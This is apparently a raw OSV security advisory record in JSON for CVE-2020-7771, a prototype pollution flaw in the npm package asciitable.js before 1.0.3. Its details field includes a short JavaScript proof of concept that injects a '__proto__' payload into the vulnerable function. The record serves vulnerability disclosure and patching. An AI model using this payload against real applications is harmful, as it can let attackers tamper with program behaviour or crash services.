原始 OSV JSON
{
"id": "GHSA-5pxj-mhwj-x5gv",
"aliases": [
"CVE-2020-7771"
],
"details": "The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.\n\n### PoC\n```js\nvar a = require(\"asciitable.js\"); \nvar b = JSON.parse('{\"__proto__\":{\"test\":123}}'); \na({},b); \nconsole.log({}.test)\n```",
"summary": "Prototype Pollution in asciitable.js",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
]
}
],
"package": {
"name": "asciitable.js",
"ecosystem": "npm"
}
}
],
"modified": "2023-09-11T18:53:26Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}
],
"published": "2021-04-13T15:24:59Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7771",
"type": "ADVISORY"
},
{
"url": "https://github.com/victornpb/asciitable.js/pull/1",
"type": "WEB"
},
{
"url": "https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab",
"type": "WEB"
},
{
"url": "https://github.com/victornpb/asciitable.js",
"type": "PACKAGE"
},
{
"url": "https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"severity": "CRITICAL",
"github_reviewed": true,
"nvd_published_at": "2021-01-04T12:15:00Z",
"github_reviewed_at": "2021-04-06T23:32:45Z"
}
}